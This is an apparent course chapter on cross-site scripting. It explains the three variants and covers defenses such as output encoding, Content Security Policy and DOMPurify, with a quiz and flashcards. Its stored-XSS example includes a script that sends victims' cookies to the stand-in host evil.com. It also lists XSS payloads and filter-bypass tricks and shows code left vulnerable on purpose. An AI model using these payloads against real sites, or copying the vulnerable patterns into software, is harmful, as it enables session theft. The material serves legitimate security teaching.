The Three XSS Variants
Cross-Site Scripting: When the Browser Executes Attacker-Controlled Code
Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. The script executes in the victim's browser with the same origin privileges as the legitimate application, enabling session theft, credential harvesting, defacement, and malware distribution.
Stored XSS (Persistent)
Stored XSS is the most dangerous variant. The malicious script is permanently stored on the server — in a database, comment field, forum post, or user profile — and executes every time a victim views the affected page.
Attack flow:
- Attacker submits a comment containing
<script>fetch('https://evil.com/?c='+document.cookie)</script> - The server stores the comment in the database without sanitization
- Every user who views the comment page has the script execute in their browser
- The script sends the victim's session cookie to the attacker's server
Real-world example: In 2005, the MySpace Samy worm used stored XSS to propagate to over one million profiles in 20 hours. The payload was stored in profile HTML and executed every time someone viewed the infected profile.
Key characteristic: The attack affects every user who views the compromised content, making it a mass-exploitation vector.
Reflected XSS (Non-Persistent)
Reflected XSS occurs when user input is immediately reflected back in the server's response without being stored. The payload is typically delivered via a crafted URL that the victim must click.
Attack flow:
- Attacker crafts a URL:
https://example.com/search?q=<script>alert(document.cookie)</script> - The search endpoint reflects the query parameter into the HTML response without encoding
- Attacker sends the URL to a victim (via email, social media, etc.)
- Victim clicks the link, the script executes in their browser
Vulnerable code:
@app.route('/search')
def search():
query = request.args.get('q', '')
return f'<h1>Results for: {query}</h1>' # VULNERABLE
Key characteristic: The attack requires social engineering — the victim must click the malicious link. It is not persistent.
DOM-Based XSS
DOM-based XSS is unique because the vulnerability exists entirely in client-side JavaScript. The server sends clean, safe HTML, but unsafe JavaScript manipulates the DOM using attacker-controlled data.
Attack flow:
- Attacker crafts a URL with a fragment:
https://example.com/page#<img src=x onerror=alert(1)> - Client-side JavaScript reads
location.hashand inserts it into the DOM - The injected HTML executes without ever touching the server
Vulnerable code:
// VULNERABLE — writes user-controlled data directly into the DOM
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash;
Key characteristic: The attack never reaches the server. Traditional server-side WAFs and input filters cannot detect it. Defense must happen in the client-side code.
Comparison Table
| Property | Stored XSS | Reflected XSS | DOM-Based XSS |
|---|---|---|---|
| Payload location | Server database | URL parameter | URL fragment |
| Persistence | Permanent | None | None |
| Victim interaction | Viewing a page | Clicking a link | Clicking a link |
| Server involvement | Stores payload | Reflects payload | None |
| WAF detectable | Yes | Yes | No |
| Severity | High | Medium | Medium |
XSS Payloads, Bypasses, and Defense
XSS Payloads and Context-Aware Defense
Understanding XSS payloads and filter bypasses is essential for both attacking and defending applications. This chapter covers practical payload techniques and the defense mechanisms that stop them.
Common XSS Payloads
Basic script injection:
<script>alert(document.cookie)</script>
Event handler injection (when script tags are blocked):
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
JavaScript URI scheme:
<a href="javascript:alert(1)">Click</a>
Template literal injection (in JavaScript contexts):
${alert(1)}
DOM clobbering:
<form id="cookie"><input name="value"></form>
<!-- Now document.cookie.value exists and can shadow the real cookie -->
Filter Bypass Techniques
Attackers use various techniques to bypass input filters:
Case variation: <ScRiPt>alert(1)</ScRiPt>
Encoding: %3Cscript%3Ealert(1)%3C/script%3E (URL encoding)
Null byte injection: <%00script>alert(1)</script>
Double encoding: %253Cscript%253E (bypasses single-decode filters)
HTML entity encoding: <script>alert(1)</script>
Unicode normalization: <\u0073cript>alert(1)</script>
Attribute breakout: If input is placed inside an attribute, break out with " onmouseover="alert(1)
Context-Aware Output Encoding
The critical defense principle: encode for the specific output context. The same payload requires different encoding depending on where it appears.
HTML body context:
import html
safe = html.escape(user_input) # < > & " ' become entities
HTML attribute context:
safe = html.escape(user_input, quote=True) # Also escapes quotes
JavaScript context:
// JSON.stringify for JavaScript string values
const safe = JSON.stringify(userInput);
URL context:
const safe = encodeURIComponent(userInput);
CSS context:
/* Only allow alphanumeric and specific safe characters */
/* Use a strict allow-list approach */
Content Security Policy (CSP)
CSP is a browser-enforced policy that restricts which resources (scripts, styles, images) can load and execute. It is the most effective defense-in-depth against XSS.
Basic CSP header:
Content-Security-Policy: default-src 'self'; script-src 'self'
This policy blocks all inline scripts, external scripts from other domains, and event handlers. Even if an attacker injects <script>alert(1)</script>, the browser refuses to execute it.
Nonce-based CSP (allows specific inline scripts):
Content-Security-Policy: script-src 'nonce-abc123'
<script nonce="abc123">/* trusted inline script */</script>
Practice: Find the XSS
Review this code and identify all XSS vectors:
// Client-side rendering
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
// Vector 1: innerHTML
document.getElementById('welcome').innerHTML = `Welcome, ${name}!`;
// Vector 2: document.write
document.write(`<div>${name}</div>`);
// Vector 3: eval
eval(`console.log('${name}')`);
// Vector 4: setAttribute with javascript: URL
document.getElementById('link').setAttribute('href', name);
All four vectors are exploitable. Vector 1 and 2 allow HTML injection. Vector 3 allows arbitrary JavaScript execution. Vector 4 allows javascript: URI injection. The fix is to use textContent instead of innerHTML, never use eval, and validate URLs against an allow-list of schemes (http, https, mailto).
Practice Problems
For each scenario, identify whether it is stored, reflected, or DOM-based XSS and explain why: 1. A blog comment section stores user comments and displays them to all visitors. An attacker posts a comment with a script tag. 2. A search page reflects the search query in the results page. The query parameter is not encoded. 3. A single-page application reads `window.location.hash` and inserts it into the DOM using `innerHTML`.
Solution
1. **Stored XSS** — The malicious script is permanently stored in the database and executes for every visitor who views the comment. The server is involved in storing and serving the payload.
2. **Reflected XSS** — The payload is reflected in the server's immediate response via the URL parameter. It is not stored; the victim must click a crafted link.
3. **DOM-based XSS** — The vulnerability exists entirely in client-side JavaScript. The server sends clean HTML, but the client-side code unsafely inserts `location.hash` into the DOM. The payload never touches the server. The following code is vulnerable to DOM-based XSS. Rewrite it securely: ```javascript const hash = window.location.hash.substring(1); document.getElementById('output').innerHTML = hash; ```
Solution
Use `textContent` instead of `innerHTML` to prevent HTML parsing:
```javascript
const hash = window.location.hash.substring(1);
document.getElementById('output').textContent = hash;
```
`textContent` treats the input as plain text, not HTML. Even if the hash contains `<script>alert(1)</script>`, it will be displayed as literal text, not executed. If HTML rendering is required, use a sanitization library like DOMPurify:
```javascript
const hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = DOMPurify.sanitize(hash);
``` Quiz
1. Which XSS variant is most dangerous because it affects every user who views the compromised content without requiring any user interaction beyond visiting the page?
2. A single-page application reads `window.location.hash` and inserts it into the DOM using `innerHTML`. The server never processes the hash. What type of XSS is this?
3. Why is context-aware output encoding critical for XSS prevention?
4. Which Content Security Policy directive prevents execution of inline scripts and event handlers?
5. An attacker injects `<img src=x onerror=alert(1)>` into a comment field. The application filters out `<script>` tags but does not filter other HTML tags. Which XSS technique is the attacker using?
Flashcards
Question
What is the difference between stored and reflected XSS?
Click to reveal answer
Answer
Stored XSS persists the malicious script on the server (database) and executes for every viewer. Reflected XSS bounces the payload off the server in an immediate response and requires the victim to click a crafted link.
Question
What makes DOM-based XSS unique?
Click to reveal answer
Answer
The vulnerability exists entirely in client-side JavaScript. The server sends clean HTML, but unsafe JavaScript manipulates the DOM using attacker-controlled data (e.g., location.hash). Server-side WAFs cannot detect it.
Question
What is the payload `<img src=x onerror=alert(1)>` an example of?
Click to reveal answer
Answer
Event handler injection — an XSS technique that uses HTML element event handlers (onerror, onload, onclick) to execute JavaScript when script tags are blocked.
Question
Why is context-aware output encoding necessary?
Click to reveal answer
Answer
The same payload requires different encoding depending on the output context (HTML body, HTML attribute, JavaScript, URL, CSS). Using the wrong encoding for a context leaves vulnerabilities.
Question
What does `script-src 'self'` in a Content Security Policy accomplish?
Click to reveal answer
Answer
It restricts script execution to same-origin sources only, blocking all inline scripts, event handlers, and external scripts from other domains — even if an attacker successfully injects them.
Revision Notes
Key Takeaways
- 1. Stored XSS persists malicious script in the database and executes for every viewer — the most dangerous variant
- 2. Reflected XSS bounces the payload off the server in an immediate response and requires victim interaction
- 3. DOM-based XSS exists entirely in client-side JavaScript and bypasses server-side defenses
- 4. Context-aware output encoding is critical — the same payload requires different encoding for different contexts
- 5. Content Security Policy with `script-src 'self'` blocks inline scripts and event handlers even if injection succeeds
Interview Tips
- • Differentiate the three XSS variants with concrete examples of each — interviewers test whether you understand the delivery mechanism, not just the definition
- • Explain why DOM-based XSS bypasses server-side WAFs and how to defend against it (CSP, safe DOM APIs)
- • Discuss context-aware output encoding with specific examples of what encoding is needed for each context
- • Connect XSS to OWASP Top 10 2021 (A03: Injection) and explain why it was reclassified from its own category
Cheat Sheet
Cross-Site Scripting Variants Cheat Sheet
Phase: Web Vulnerabilities and the OWASP Top 10 | Level: intermediate
XSS Variants:
- Stored XSS: Payload stored in database, executes for every viewer. Most dangerous.
- Reflected XSS: Payload reflected in server response via URL parameter. Requires victim to click link.
- DOM-based XSS: Vulnerability in client-side JavaScript. Server never processes payload.
Common Payloads:
<script>alert(1)</script>— basic script injection<img src=x onerror=alert(1)>— event handler injectionjavascript:alert(1)— URI scheme injection${alert(1)}— template literal injection
Defense:
- Context-aware output encoding (HTML, attribute, JS, URL, CSS)
- Content Security Policy:
script-src 'self' - Use
textContentinstead ofinnerHTML - Never use
eval() - Sanitize with DOMPurify if HTML rendering is required
Key points:
- Stored XSS persists malicious script in the database for every visitor to execute
- Reflected XSS bounces the payload off the server in an immediate response
- DOM-based XSS runs entirely in the browser when unsafe JavaScript handles location data
- Output encoding must match the specific output context
Tags: xss, web-security
Continue Learning
Before You Start
- No prerequisites listed.